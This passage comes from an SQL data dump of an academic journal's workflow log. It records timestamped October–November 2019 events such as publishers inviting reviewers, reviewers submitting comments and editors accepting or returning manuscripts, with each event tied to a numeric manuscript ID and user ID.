Reviewer',2635,'Publisher',75),(18704,'2019-10-23 10:41:29','Publisher has Invited Reviewer',2635,'Publisher',75),(18705,'2019-10-23 10:41:31','Publisher has Invited Reviewer',2635,'Publisher',75),(18706,'2019-10-23 10:42:07','Publisher has Invited Reviewer',1497,'Publisher',75),(18707,'2019-10-23 10:42:08','Publisher has Invited Reviewer',1497,'Publisher',75),(18708,'2019-10-23 10:42:09','Publisher has Invited Reviewer',1497,'Publisher',75),(18709,'2019-10-23 10:42:10','Publisher has Invited Reviewer',1497,'Publisher',75),(18710,'2019-10-23 10:42:11','Publisher has Invited Reviewer',1497,'Publisher',75),(18711,'2019-10-23 10:42:12','Publisher has Invited Reviewer',1497,'Publisher',75),(18712,'2019-10-23 10:42:33','Publisher has Invited Reviewer',1457,'Publisher',75),(18713,'2019-10-23 10:42:47','Publisher has Invited Reviewer',1457,'Publisher',75),(18714,'2019-10-23 10:42:48','Publisher has Invited Reviewer',1457,'Publisher',75),(18715,'2019-10-23 10:42:49','Publisher has Invited Reviewer',1457,'Publisher',75),(18783,'2019-10-23 13:27:56','Reviewer has submitted comments',2669,'Reviewer',8796),(18897,'2019-10-23 20:31:58','Reviewer has submitted comments',630,'Reviewer',663),(18901,'2019-10-24 04:14:44','Manuscript Submitted by Author using Submission form',2794,'Author',3612),(18902,'2019-10-24 06:33:34','Reviewer has been sent email to Publisher',2719,'Reviewer',641),(18911,'2019-10-24 09:44:53','Publisher has been Assigned Editor',2768,'Publisher',645),(18915,'2019-10-24 10:44:01','Publisher has been Assigned Editor',2785,'Publisher',376),(18916,'2019-10-24 12:06:00','Publisher has Invited Reviewer',2759,'Publisher',85),(18917,'2019-10-24 12:06:01','Publisher has Invited Reviewer',2759,'Publisher',85),(18918,'2019-10-24 12:06:01','Publisher has Invited Reviewer',2759,'Publisher',85),(18919,'2019-10-24 13:59:12','Publisher has Invited Reviewer',2591,'Publisher',376),(18920,'2019-10-24 14:03:27','Editor has Accepted to review Manuscript',2591,'Editor',1012),(18921,'2019-10-24 14:04:07','Editor has been Editor Decision Accepted article',2591,'Editor',1012),(18922,'2019-10-24 14:04:42','Publisher: Accept Notification has been sent to Author',2591,'Publisher',376),(18940,'2019-10-24 17:30:20','Publisher has been Assigned Editor',2777,'Publisher',248),(18941,'2019-10-24 17:30:35','Publisher has been Assigned Editor',2744,'Publisher',248),(18962,'2019-10-25 03:35:06','Reviewer has submitted comments',2696,'Reviewer',633),(18963,'2019-10-25 03:35:18','Reviewer has updated comments',2696,'Reviewer',633),(18964,'2019-10-25 10:20:20','Publisher : Notified Editor',2669,'Publisher',645),(19006,'2019-10-26 02:24:35','Reviewer has submitted comments',630,'Reviewer',657),(19011,'2019-10-26 09:48:55','Publisher has been Assigned Editor',2794,'Publisher',48),(19012,'2019-10-26 09:49:09','Publisher has been Assigned Editor',2765,'Publisher',48),(19013,'2019-10-26 09:49:25','Publisher has been Assigned Editor',2764,'Publisher',48),(19016,'2019-10-26 10:14:51','Publisher has Invited Reviewer',2759,'Publisher',85),(19017,'2019-10-26 10:15:03','Publisher has Invited Reviewer',2759,'Publisher',85),(19018,'2019-10-26 10:15:04','Publisher has Invited Reviewer',2759,'Publisher',85),(19019,'2019-10-26 10:15:05','Publisher has Invited Reviewer',2759,'Publisher',85),(19020,'2019-10-26 10:16:00','Publisher has Invited Reviewer',2756,'Publisher',85),(19021,'2019-10-26 10:16:01','Publisher has Invited Reviewer',2756,'Publisher',85),(19022,'2019-10-26 10:16:02','Publisher has Invited Reviewer',2756,'Publisher',85),(19023,'2019-10-26 10:16:03','Publisher has Invited Reviewer',2756,'Publisher',85),(19024,'2019-10-26 10:18:54','Publisher has Invited Reviewer',2756,'Publisher',85),(19025,'2019-10-26 10:18:55','Publisher has Invited Reviewer',2756,'Publisher',85),(19131,'2019-10-28 21:32:54','Reviewer has been sent email to Publisher',1457,'Reviewer',8785),(19132,'2019-10-28 21:33:30','Reviewer has been sent email to Publisher',2635,'Reviewer',8785),(19135,'2019-10-29 00:14:57','Reviewer has submitted comments',2667,'Reviewer',7415),(19145,'2019-10-29 05:00:42','Manuscript Submitted by Author using Submission form',2832,'Author',3673),(19153,'2019-10-29 09:24:25','Manuscript Submitted by Author using Submission form',2833,'Author',3674),(19154,'2019-10-29 09:50:54','Publisher : Notified Editor',630,'Publisher',75),(19155,'2019-10-29 10:17:07','Publisher has Invited Reviewer',2759,'Publisher',85),(19156,'2019-10-29 10:17:08','Publisher has Invited Reviewer',2759,'Publisher',85),(19157,'2019-10-29 10:17:09','Publisher has Invited Reviewer',2759,'Publisher',85),(19165,'2019-10-29 10:48:36','Publisher has Invited Reviewer',2756,'Publisher',85),(19166,'2019-10-29 10:48:37','Publisher has Invited Reviewer',2756,'Publisher',85),(19167,'2019-10-29 10:51:34','Publisher has Invited Reviewer',2756,'Publisher',85),(19168,'2019-10-29 10:52:43','Publisher has Invited Reviewer',2756,'Publisher',85),(19169,'2019-10-29 10:54:28','Publisher has Invited Reviewer',2794,'Publisher',48),(19170,'2019-10-29 10:54:43','Publisher has Invited Reviewer',2794,'Publisher',48),(19171,'2019-10-29 10:54:44','Publisher has Invited Reviewer',2794,'Publisher',48),(19172,'2019-10-29 10:54:45','Publisher has Invited Reviewer',2794,'Publisher',48),(19173,'2019-10-29 10:54:53','Publisher has Invited Reviewer',2794,'Publisher',48),(19174,'2019-10-29 10:55:19','Publisher has Invited Reviewer',2765,'Publisher',48),(19175,'2019-10-29 10:55:20','Publisher has Invited Reviewer',2765,'Publisher',48),(19176,'2019-10-29 10:55:29','Publisher has Invited Reviewer',2765,'Publisher',48),(19177,'2019-10-29 10:55:30','Publisher has Invited Reviewer',2765,'Publisher',48),(19178,'2019-10-29 10:55:49','Publisher has Invited Reviewer',2765,'Publisher',48),(19179,'2019-10-29 10:56:17','Publisher has Invited Reviewer',2764,'Publisher',48),(19180,'2019-10-29 10:56:18','Publisher has Invited Reviewer',2764,'Publisher',48),(19181,'2019-10-29 10:56:19','Publisher has Invited Reviewer',2764,'Publisher',48),(19182,'2019-10-29 10:56:20','Publisher has Invited Reviewer',2764,'Publisher',48),(19183,'2019-10-29 10:56:29','Publisher has Invited Reviewer',2764,'Publisher',48),(19190,'2019-10-29 14:31:30','Editor has Accepted to review Manuscript',2667,'Editor',1070),(19191,'2019-10-29 14:32:38','Editor has been Revise (Notify Author) article',2667,'Editor',1070),(19192,'2019-10-29 14:34:31','Publisher : Notified Author',2667,'Publisher',319),(19204,'2019-10-29 15:32:36','Publisher : Notified Editor',2669,'Publisher',645),(19205,'2019-10-29 15:33:19','Editor has Accepted to review Manuscript',2669,'Editor',633),(19206,'2019-10-29 15:33:55','Editor has been Editor Decision Accepted article',2669,'Editor',633),(19207,'2019-10-29 15:35:27','Publisher: Accept Notification has been sent to Author',2669,'Publisher',645),(19208,'2019-10-29 15:36:12','Publisher has Invited Reviewer',2768,'Publisher',645),(19209,'2019-10-29 15:36:19','Publisher has Invited Reviewer',2768,'Publisher',645),(19210,'2019-10-29 15:36:20','Publisher has Invited Reviewer',2768,'Publisher',645),(19211,'2019-10-29 15:36:21','Publisher has Invited Reviewer',2768,'Publisher',645),(19212,'2019-10-29 15:36:22','Publisher has Invited Reviewer',2768,'Publisher',645),(19232,'2019-10-30 10:40:02','Manuscript Submitted by Author using Submission form',2838,'Author',3681),(19235,'2019-10-30 11:42:09','Manuscript Submitted by Author using Submission form',2839,'Author',3682),(19247,'2019-10-30 13:32:30','Editor has been Revise (Notify Author) article',630,'Editor',160),(19248,'2019-10-30 13:33:35','Publisher : Notified Author',630,'Publisher',75),(19256,'2019-10-30 17:20:00','Publisher has been Assigned Editor',2839,'Publisher',48),(19305,'2019-10-30 19:53:35','Manuscript Submitted by Author using Submission form',2842,'Author',3677),(19306,'2019-10-30 21:56:37','Reviewer has submitted comments',2719,'Reviewer',8785),(19307,'2019-10-30 22:25:57','Reviewer has submitted comments',2635,'Reviewer',8785),(19309,'2019-10-30 22:53:27','Manuscript Submitted by Author using Submission form',2844,'Author',3689),(19316,'2019-10-31 10:14:18','Publisher has been Accepted Articles  article',2669,'Publisher',645),(19318,'2019-10-31 11:08:44','Publisher has Invited Reviewer',2839,'Publisher',48),(19319,'2019-10-31 11:08:46','Publisher has Invited Reviewer',2839,'Publisher',48),(19320,'2019-10-31 11:09:15','Publisher has Invited Reviewer',2839,'Publisher',48),(19321,'2019-10-31 11:09:17','Publisher has Invited Reviewer',2839,'Publisher',48),(19322,'2019-10-31 11:09:18','Publisher has Invited Reviewer',2839,'Publisher',48),(19323,'2019-10-31 11:10:35','Publisher has Invited Reviewer',2794,'Publisher',48),(19324,'2019-10-31 11:28:02','Publisher has Invited Reviewer',2707,'Publisher',48),(19325,'2019-10-31 11:28:04','Publisher has Invited Reviewer',2707,'Publisher',48),(19326,'2019-10-31 11:28:05','Publisher has Invited Reviewer',2707,'Publisher',48),(19327,'2019-10-31 11:28:06','Publisher has Invited Reviewer',2707,'Publisher',48),(19328,'2019-10-31 11:28:08','Publisher has Invited Reviewer',2707,'Publisher',48),(19330,'2019-10-31 11:44:15','Publisher has Invited Reviewer',2594,'Publisher',48),(19331,'2019-10-31 11:44:47','Publisher has Invited Reviewer',2594,'Publisher',48),(19332,'2019-10-31 11:44:48','Publisher has Invited Reviewer',2594,'Publisher',48),(19333,'2019-10-31 11:44:58','Publisher has Invited Reviewer',2594,'Publisher',48),(19334,'2019-10-31 11:45:06','Publisher has Invited Reviewer',2594,'Publisher',48),(19335,'2019-10-31 11:53:33','Publisher has Invited Reviewer',2708,'Publisher',376),(19336,'2019-10-31 11:53:46','Publisher has Invited Reviewer',2708,'Publisher',376),(19337,'2019-10-31 11:53:47','Publisher has Invited Reviewer',2708,'Publisher',376),(19338,'2019-10-31 11:53:48','Publisher has Invited Reviewer',2708,'Publisher',376),(19339,'2019-10-31 11:53:48','Publisher has Invited Reviewer',2708,'Publisher',376),(19340,'2019-10-31 11:53:49','Publisher has Invited Reviewer',2708,'Publisher',376),(19341,'2019-10-31 11:53:50','Publisher has Invited Reviewer',2708,'Publisher',376),(19346,'2019-10-31 12:21:56','Publisher has been Assigned Editor',2842,'Publisher',48),(19347,'2019-10-31 12:23:01','Publisher has Invited Reviewer',2842,'Publisher',48),(19348,'2019-10-31 12:23:02','Publisher has Invited Reviewer',2842,'Publisher',48),(19349,'2019-10-31 12:23:04','Publisher has Invited Reviewer',2842,'Publisher',48),(19350,'2019-10-31 12:23:05','Publisher has Invited Reviewer',2842,'Publisher',48),(19351,'2019-10-31 12:23:07','Publisher has Invited Reviewer',2842,'Publisher',48),(19369,'2019-10-31 15:00:30','Publisher: Accept Notification has been sent to Author',2591,'Publisher',376),(19370,'2019-10-31 15:31:12','Publisher has Invited Reviewer',2602,'Publisher',376),(19371,'2019-10-31 15:34:09','Reviewer has submitted comments',2602,'Reviewer',9537),(19372,'2019-10-31 15:35:20','Editor has Accepted to review Manuscript',2602,'Editor',1012),(19373,'2019-10-31 15:35:41','Editor has been Editor Decision Accepted article',2602,'Editor',1012),(19374,'2019-10-31 15:36:03','Publisher has been Accepted Articles  article',2602,'Publisher',376),(19375,'2019-10-31 15:39:31','Publisher: Accept Notification has been sent to Author',2602,'Publisher',376),(19376,'2019-10-31 15:46:21','Publisher has been Withdrawn  article',2785,'Publisher',376),(19379,'2019-10-31 17:59:21','Manuscript Submitted by Author using Submission form',2852,'Author',3688),(19388,'2019-11-01 09:06:19','Publisher has been Assigned Editor',2844,'Publisher',319),(19401,'2019-11-01 15:27:06','Editor has Accepted to review Manuscript',2577,'Editor',1068),(19402,'2019-11-01 15:27:41','Editor has been Revise (Notify Author) article',2577,'Editor',1068),(19403,'2019-11-01 15:32:51','Publisher : Notified Author',2577,'Publisher',319),(19404,'2019-11-01 15:54:14','Publisher has Invited Reviewer',2674,'Publisher',84),(19405,'2019-11-01 16:43:52','Publisher has been Withdrawn  article',2765,'Publisher',48),(19406,'2019-11-01 16:44:08','Publisher has been Withdrawn  article',2764,'Publisher',48),(19411,'2019-11-01 17:18:22','Reviewer has submitted comments',2674,'Reviewer',9663),(19412,'2019-11-01 17:19:30','Publisher : Notified Editor',2674,'Publisher',84),(19413,'2019-11-01 17:20:31','Editor has Accepted to review Manuscript',2674,'Editor',222),(19414,'2019-11-01 17:20:44','Editor has been Revise (Notify Author) article',2674,'Editor',222),(19418,'2019-11-01 18:47:22','Manuscript Submitted by Author',2856,'Author',3705),(19423,'2019-11-02 02:02:18','Manuscript Submitted by Author using Submission form',2858,'Author',3707),(19446,'2019-11-02 11:46:21','Publisher has been Assigned Editor',2858,'Publisher',645),(19447,'2019-11-02 11:58:04','Publisher has Invited Reviewer',2768,'Publisher',645),(19448,'2019-11-02 11:58:05','Publisher has Invited Reviewer',2768,'Publisher',645),(19449,'2019-11-02 11:58:06','Publisher has Invited Reviewer',2768,'Publisher',645),(19450,'2019-11-02 11:58:07','Publisher has Invited Reviewer',2768,'Publisher',645),(19451,'2019-11-02 11:58:08','Publisher has Invited Reviewer',2768,'Publisher',645),(19452,'2019-11-02 11:58:09','Publisher has Invited Reviewer',2768,'Publisher',645),(19453,'2019-11-02 11:58:55','Publisher has Invited Reviewer',2120,'Publisher',645),(19454,'2019-11-02 11:58:56','Publisher has Invited Reviewer',2120,'Publisher',645),(19455,'2019-11-02 11:58:57','Publisher has Invited Reviewer',2120,'Publisher',645),(19456,'2019-11-02 11:58:58','Publisher has Invited Reviewer',2120,'Publisher',645),(19457,'2019-11-02 11:58:59','Publisher has Invited Reviewer',2120,'Publisher',645),(19458,'2019-11-02 11:59:29','Publisher has Invited Reviewer',2844,'Publisher',319),(19459,'2019-11-02 11:59:30','Publisher has Invited Reviewer',2844,'Publisher',319),(19460,'2019-11-02 12:06:05','Publisher has been Assigned Editor',2838,'Publisher',85),(19463,'2019-11-02 12:40:50','Publisher has Invited Reviewer',2838,'Publisher',85),(19464,'2019-11-02 12:40:51','Publisher has Invited Reviewer',2838,'Publisher',85),(19465,'2019-11-02 12:40:52','Publisher has Invited Reviewer',2838,'Publisher',85),(19466,'2019-11-02 12:40:53','Publisher has Invited Reviewer',2838,'Publisher',85),(19467,'2019-11-02 12:40:54','Publisher has Invited Reviewer',2838,'Publisher',85),(19473,'2019-11-03 12:02:18','Reviewer has submitted comments',2693,'Reviewer',7415),(19485,'2019-11-04 09:30:09','Editor has been Revise (Notify Author) article',2667,'Editor',1070),(19486,'2019-11-04 09:31:35','Publisher : Notified Author',2667,'Publisher',319),(19487,'2019-11-04 09:33:53','Editor has Accepted to review Manuscript',2693,'Editor',1069),(19488,'2019-11-04 09:34:38','Editor has been Revise (Notify Author) article',2693,'Editor',1069),(19489,'2019-11-04 09:36:19','Publisher : Notified Author',2693,'Publisher',319),(19510,'2019-11-04 10:47:44','Publisher has been Assigned Editor',2832,'Publisher',645),(19514,'2019-11-04 13:17:06','Editor has Accepted to review Manuscript',2611,'Editor',1012),(19515,'2019-11-04 13:17:26','Editor has been Revise (Notify Author) article',2611,'Editor',1012),(19516,'2019-11-04 13:20:56','Publisher : Notified Author',2611,'Publisher',376),(19517,'2019-11-04 13:21:48','Editor has Accepted to review Manuscript',2623,'Editor',1011),(19518,'2019-11-04 13:22:08','Editor has been Revise (Notify Author) article',2623,'Editor',1011),(19520,'2019-11-04 13:22:38','Publisher : Notified Author',2623,'Publisher',376),(19522,'2019-11-04 13:24:46','Publisher has Invited Reviewer',2633,'Publisher',376),(19523,'2019-11-04 13:25:07','Publisher has Invited Reviewer',2633,'Publisher',376),(19524,'2019-11-04 13:25:08','Publisher has Invited Reviewer',2633,'Publisher',376),(19525,'2019-11-04 13:25:09','Publisher has Invited Reviewer',2633,'Publisher',376),(19526,'2019-11-04 13:25:10','Publisher has Invited Reviewer',2633,'Publisher',376),(19527,'2019-11-04 13:25:11','Publisher has Invited Reviewer',2633,'Publisher',376),(19528,'2019-11-04 13:25:12','Publisher has Invited Reviewer',2633,'Publisher',376),(19541,'2019-11-04 16:39:53','Manuscript Submitted by Author',2874,'Author',3073),(19545,'2019-11-04 17:08:14','Publisher has Invited Reviewer',555,'Publisher',84),(19546,'2019-11-04 17:08:41','Publisher has Invited Reviewer',557,'Publisher',84),(19547,'2019-11-04 17:09:04','Publisher has Invited Reviewer',555,'Publisher',84),(19548,'2019-11-04 17:10:04','Publisher has Invited Reviewer',557,'Publisher',84),(19549,'2019-11-04 17:10:05','Publisher has Invited Reviewer',557,'Publisher',84),(19550,'2019-11-04 17:10:06','Publisher has Invited Reviewer',557,'Publisher',84),(19551,'2019-11-04 17:10:56','Publisher has Invited Reviewer',2723,'Publisher',84),(19552,'2019-11-04 17:10:57','Publisher has Invited Reviewer',2723,'Publisher',84),(19553,'2019-11-04 17:10:58','Publisher has Invited Reviewer',2723,'Publisher',84),(19554,'2019-11-04 17:10:59','Publisher has Invited Reviewer',2723,'Publisher',84),(19555,'2019-11-04 17:11:00','Publisher has Invited Reviewer',2723,'Publisher',84),(19556,'2019-11-04 17:11:01','Publisher has Invited Reviewer',2723,'Publisher',84),(19557,'2019-11-04 17:11:20','Publisher has Invited Reviewer',2727,'Publisher',84),(19558,'2019-11-04 17:24:07','Publisher has Invited Reviewer',1290,'Publisher',84),(19559,'2019-11-04 17:24:08','Publisher has Invited Reviewer',1290,'Publisher',84),(19560,'2019-11-04 17:24:09','Publisher has Invited Reviewer',1290,'Publisher',84),(19561,'2019-11-04 17:24:10','Publisher has Invited Reviewer',1290,'Publisher',84),(19562,'2019-11-04 17:24:11','Publisher has Invited Reviewer',1290,'Publisher',84),(19563,'2019-11-04 17:24:12','Publisher has Invited Reviewer',1290,'Publisher',84),(19564,'2019-11-04 17:24:13','Publisher has Invited Reviewer',1290,'Publisher',84),(19565,'2019-11-04 17:24:14','Publisher has Invited Reviewer',1290,'Publisher',84),(19566,'2019-11-04 17:24:15','Publisher has Invited Reviewer',1290,'Publisher',84),(19567,'2019-11-04 17:24:16','Publisher has Invited Reviewer',1290,'Publisher',84),(19568,'2019-11-04 17:24:17','Publisher has Invited Reviewer',1290,'Publisher',84),(19569,'2019-11-04 17:24:19','Publisher has Invited Reviewer',1290,'Publisher',84),(19570,'2019-11-04 17:24:20','Publisher has Invited Reviewer',1290,'Publisher',84),(19571,'2019-11-04 17:24:21','Publisher has Invited Reviewer',1290,'Publisher',84),(19572,'2019-11-04 17:24:22','Publisher has Invited Reviewer',1290,'Publisher',84),(19573,'2019-11-04 17:24:23','Publisher has Invited Reviewer',1290,'Publisher',84),(19574,'2019-11-04 17:24:24','Publisher has Invited Reviewer',1290,'Publisher',84),(19575,'2019-11-04 17:24:25','Publisher has Invited Reviewer',1290,'Publisher',84),(19576,'2019-11-04 17:25:31','Publisher has Invited Reviewer',1674,'Publisher',84),(19580,'2019-11-04 18:26:35','Reviewer has been sent email to Publisher',1290,'Reviewer',6239),(19593,'2019-11-05 10:22:45','Manuscript Submitted by Publisher',2876,'Publisher',48),(19594,'2019-11-05 10:22:58','Publisher has been Assigned Editor',2876,'Publisher',48),(19595,'2019-11-05 10:23:20','Publisher has Invited Reviewer',2876,'Publisher',48),(19596,'2019-11-05 10:23:29','Publisher has Invited Reviewer',2876,'Publisher',48),(19597,'2019-11-05 10:23:39','Publisher has Invited Reviewer',2876,'Publisher',48),(19598,'2019-11-05 10:23:41','Publisher has Invited Reviewer',2876,'Publisher',48),(19599,'2019-11-05 10:23:58','Publisher has Invited Reviewer',2876,'Publisher',48),(19600,'2019-11-05 10:24:18','Manuscript Submitted by Author using Submission form',2877,'Author',3730),(19601,'2019-11-05 11:22:54','Publisher has been Withdrawn  article',2839,'Publisher',48),(19603,'2019-11-05 13:05:53','Publisher has been Assigned Editor',2877,'Publisher',319),(19622,'2019-11-05 15:45:06','Reviewer has updated comments',2754,'Reviewer',5467),(19625,'2019-11-05 15:48:30','Reviewer has submitted comments',2876,'Reviewer',5467),(19626,'2019-11-05 16:29:47','Manuscript has been Revised',2693,'Author',3479),(19647,'2019-11-05 20:20:22','Reviewer has submitted comments',2768,'Reviewer',4512),(19648,'2019-11-05 21:43:24','Reviewer has been sent email to Publisher',2633,'Reviewer',7022),(19678,'2019-11-06 12:27:05','Publisher has Invited Reviewer',2838,'Publisher',85),(19679,'2019-11-06 12:27:07','Publisher has Invited Reviewer',2838,'Publisher',85),(19680,'2019-11-06 12:27:08','Publisher has Invited Reviewer',2838,'Publisher',85),(19681,'2019-11-06 12:27:09','Publisher has Invited Reviewer',2838,'Publisher',85),(19682,'2019-11-06 12:27:10','Publisher has Invited Reviewer',2838,'Publisher',85),(19683,'2019-11-06 12:27:12','Publisher has Invited Reviewer',2838,'Publisher',85),(19684,'2019-11-06 12:27:13','Publisher has Invited Reviewer',2838,'Publisher',85),(19685,'2019-11-06 12:27:14','Publisher has Invited Reviewer',2838,'Publisher',85),(19687,'2019-11-06 13:56:52','Publisher has Invited Reviewer',2759,'Publisher',85),(19688,'2019-11-06 13:56:53','Publisher has Invited Reviewer',2759,'Publisher',85),(19689,'2019-11-06 13:56:56','Publisher has Invited Reviewer',2759,'Publisher',85),(19690,'2019-11-06 13:56:57','Publisher has Invited Reviewer',2759,'Publisher',85),(19691,'2019-11-06 13:56:58','Publisher has Invited Reviewer',2759,'Publisher',85),(19692,'2019-11-06 14:32:02','Publisher has Invited Reviewer',2877,'Publisher',319),(19693,'2019-11-06 14:32:02','Publisher has Invited Reviewer',2877,'Publisher',319),(19694,'2019-11-06 14:32:03','Publisher has Invited Reviewer',2877,'Publisher',319),(19695,'2019-11-06 14:32:03','Publisher has Invited Reviewer',2877,'Publisher',319),(19696,'2019-11-06 14:32:04','Publisher has Invited Reviewer',2877,'Publisher',319),(19697,'2019-11-06 14:32:05','Publisher has Invited Reviewer',2877,'Publisher',319),(19699,'2019-11-06 14:47:53','Reviewer has submitted comments',2876,'Reviewer',9206),(19701,'2019-11-06 16:03:30','Manuscript Submitted by Author using Submission form',2887,'Author',3744),(19711,'2019-11-07 09:45:40','Publisher has Invited Reviewer',2877,'Publisher',319),(19712,'2019-11-07 09:52:36','Publisher has Invited Reviewer',2877,'Publisher',319),(19718,'2019-11-07 10:17:37','Publisher has Invited Reviewer',2645,'Publisher',85),(19719,'2019-11-07 10:17:38','Publisher has Invited Reviewer',2645,'Publisher',85),(19734,'2019-11-07 10:52:54','Publisher has Invited Reviewer',2832,'Publisher',645),(19735,'2019-11-07 10:52:56','Publisher has Invited Reviewer',2832,'Publisher',645),(19736,'2019-11-07 10:52:57','Publisher has Invited Reviewer',2832,'Publisher',645),(19737,'2019-11-07 10:52:58','Publisher has Invited Reviewer',2832,'Publisher',645),(19738,'2019-11-07 10:52:59','Publisher has Invited Reviewer',2832,'Publisher',645),(19739,'2019-11-07 10:53:34','Publisher has Invited Reviewer',2858,'Publisher',645),(19740,'2019-11-07 10:53:35','Publisher has Invited Reviewer',2858,'Publisher',645),(19741,'2019-11-07 10:53:36','Publisher has Invited Reviewer',2858,'Publisher',645),(19742,'2019-11-07 10:53:37','Publisher has Invited Reviewer',2858,'Publisher',645),(19743,'2019-11-07 10:53:38','Publisher has Invited Reviewer',2858,'Publisher',645),(19744,'2019-11-07 10:53:39','Publisher has Invited Reviewer',2858,'Publisher',645),(19751,'2019-11-07 15:04:13','Reviewer has submitted comments',2877,'Reviewer',9720),(19763,'2019-11-07 17:30:59','Publisher has been Assigned Editor',2887,'Publisher',85),(19764,'2019-11-07 17:34:03','Publisher has Invited Reviewer',2887,'Publisher',85),(19765,'2019-11-07 17:34:04','Publisher has Invited Reviewer',2887,'Publisher',85),(19766,'2019-11-07 17:34:05','Publisher has Invited Reviewer',2887,'Publisher',85),(19767,'2019-11-07 17:34:06','Publisher has Invited Reviewer',2887,'Publisher',85),(19768,'2019-11-07 17:34:07','Publisher has Invited Reviewer',2887,'Publisher',85),(19769,'2019-11-07 17:34:08','Publisher has Invited Reviewer',2887,'Publisher',85),(19795,'2019-11-08 01:42:24','Manuscript Submitted by Author using Submission form',2896,'Author',3761),(19797,'2019-11-08 03:03:12','Manuscript Submitted by Author',2897,'Author',3761),(19807,'2019-11-08 10:17:48','Publisher has Invited Reviewer',2887,'Publisher',85),(19808,'2019-11-08 10:17:49','Publisher has Invited Reviewer',2887,'Publisher',85),(19812,'2019-11-08 13:51:05','Publisher has Invited Reviewer',2697,'Publisher',376),(19813,'2019-11-08 13:51:06','Publisher has Invited Reviewer',2697,'Publisher',376),(19818,'2019-11-08 13:52:08','Publisher has Invited Reviewer',2755,'Publisher',376),(19820,'2019-11-08 14:24:16','Manuscript Submitted by Author using Submission form',2898,'Author',3763),(19821,'2019-11-08 14:29:34','Manuscript Submitted by Author',2899,'Author',3763),(19823,'2019-11-08 15:39:15','Publisher has Invited Reviewer',2858,'Publisher',645),(19824,'2019-11-08 15:39:17','Publisher has Invited Reviewer',2858,'Publisher',645),(19825,'2019-11-08 15:39:18','Publisher has Invited Reviewer',2858,'Publisher',645),(19826,'2019-11-08 15:39:19','Publisher has Invited Reviewer',2858,'Publisher',645),(19827,'2019-11-08 15:39:20','Publisher has Invited Reviewer',2858,'Publisher',645),(19828,'2019-11-08 15:39:41','Publisher has Invited Reviewer',2832,'Publisher',645),(19829,'2019-11-08 15:39:42','Publisher has Invited Reviewer',2832,'Publisher',645),(19830,'2019-11-08 15:39:43','Publisher has Invited Reviewer',2832,'Publisher',645),(19831,'2019-11-08 15:39:44','Publisher has Invited Reviewer',2832,'Publisher',645),(19832,'2019-11-08 15:39:45','Publisher has Invited Reviewer',2832,'Publisher',645),(19833,'2019-11-08 15:39:47','Publisher has Invited Reviewer',2832,'Publisher',645),(19834,'2019-11-08 15:40:04','Publisher has Invited Reviewer',2768,'Publisher',645),(19835,'2019-11-08 15:40:12','Publisher has Invited Reviewer',2768,'Publisher',645),(19836,'2019-11-08 15:40:13','Publisher has Invited Reviewer',2768,'Publisher',645),(19837,'2019-11-08 15:40:42','Publisher has Invited Reviewer',2120,'Publisher',645),(19838,'2019-11-08 15:40:54','Publisher has Invited Reviewer',2120,'Publisher',645),(19865,'2019-11-08 18:04:45','Publisher has been Assigned Editor',2897,'Publisher',85),(19866,'2019-11-08 18:06:51','Publisher has been Assigned Editor',2896,'Publisher',85),(19869,'2019-11-09 00:01:18','Manuscript Submitted by Author using Submission form',2902,'Author',3767),(19870,'2019-11-09 02:19:49','Reviewer has submitted comments',2708,'Reviewer',7022),(19871,'2019-11-09 02:28:54','Reviewer has submitted comments',2633,'Reviewer',7022),(19872,'2019-11-09 02:41:39','Reviewer has submitted comments',2755,'Reviewer',7022),(19912,'2019-11-10 22:33:38','Reviewer has submitted comments',2887,'Reviewer',9765),(19935,'2019-11-11 11:06:46','Publisher has Invited Reviewer',2877,'Publisher',319),(19936,'2019-11-11 11:08:09','Publisher has Invited Reviewer',2877,'Publisher',319),(19937,'2019-11-11 11:10:43','Publisher has Invited Reviewer',2877,'Publisher',319),(19940,'2019-11-11 11:18:39','Publisher has Invited Reviewer',2877,'Publisher',319),(19941,'2019-11-11 11:18:40','Publisher has Invited Reviewer',2877,'Publisher',319),(19942,'2019-11-11 11:18:40','Publisher has Invited Reviewer',2877,'Publisher',319),(19943,'2019-11-11 11:18:41','Publisher has Invited Reviewer',2877,'Publisher',319),(19944,'2019-11-11 11:18:42','Publisher has Invited Reviewer',2877,'Publisher',319),(19946,'2019-11-11 11:23:30','Publisher has Invited Reviewer',2877,'Publisher',319),(19949,'2019-11-11 13:18:33','Reviewer has submitted comments',2858,'Reviewer',4473),(19981,'2019-11-11 22:40:40','Reviewer has submitted comments',2887,'Reviewer',9764),(19990,'2019-11-12 09:53:30','Publisher : Notified Editor',2887,'Publisher',85),(19998,'2019-11-12 13:23:36','Publisher has been Assigned Editor',2856,'Publisher',248),(19999,'2019-11-12 13:23:54','Publisher has been Assigned Editor',2852,'Publisher',248),(20002,'2019-11-12 14:50:42','Publisher has been Assigned Editor',2902,'Publisher',376),(20003,'2019-11-12 15:34:42','Publisher has Invited Reviewer',2832,'Publisher',645),(20005,'2019-11-12 15:49:47','Publisher : Notified Author',2674,'Publisher',84),(20006,'2019-11-12 15:50:17','Publisher has Invited Reviewer',2727,'Publisher',84),(20007,'2019-11-12 15:50:38','Publisher has Invited Reviewer',2723,'Publisher',84),(20008,'2019-11-12 15:51:20','Publisher has Invited Reviewer',557,'Publisher',84),(20011,'2019-11-12 17:06:27','Editor has Accepted to review Manuscript',2887,'Editor',1291),(20012,'2019-11-12 17:06:46','Editor has been Editor Decision Accepted article',2887,'Editor',1291),(20018,'2019-11-13 01:34:05','Editor has been Revise (Notify Author) article',2887,'Editor',1291),(20021,'2019-11-13 02:18:54','Reviewer has submitted comments',2877,'Reviewer',9797),(20023,'2019-11-13 09:32:51','Publisher has Invited Reviewer',2844,'Publisher',319),(20045,'2019-11-13 10:52:26','Manuscript has been Revised',630,'Author',740),(20048,'2019-11-13 11:48:32','Publisher has Invited Reviewer',2832,'Publisher',645),(20049,'2019-11-13 12:05:02','Publisher : Notified Editor',2768,'Publisher',645),(20050,'2019-11-13 12:05:56','Editor has Accepted to review Manuscript',2768,'Editor',634),(20051,'2019-11-13 12:06:36','Editor has been Revise (Notify Author) article',2768,'Editor',634),(20052,'2019-11-13 12:07:31','Publisher : Notified Author',2768,'Publisher',645),(20061,'2019-11-13 13:47:23','Manuscript Submitted by Publisher',2919,'Publisher',319),(20062,'2019-11-13 13:49:35','Publisher has been Assigned Editor',2919,'Publisher',319),(20063,'2019-11-13 13:50:34','Publisher has Invited Reviewer',2919,'Publisher',319),(20064,'2019-11-13 13:50:34','Publisher has Invited Reviewer',2919,'Publisher',319),(20065,'2019-11-13 13:50:35','Publisher has Invited Reviewer',2919,'Publisher',319),(20066,'2019-11-13 13:50:36','Publisher has Invited 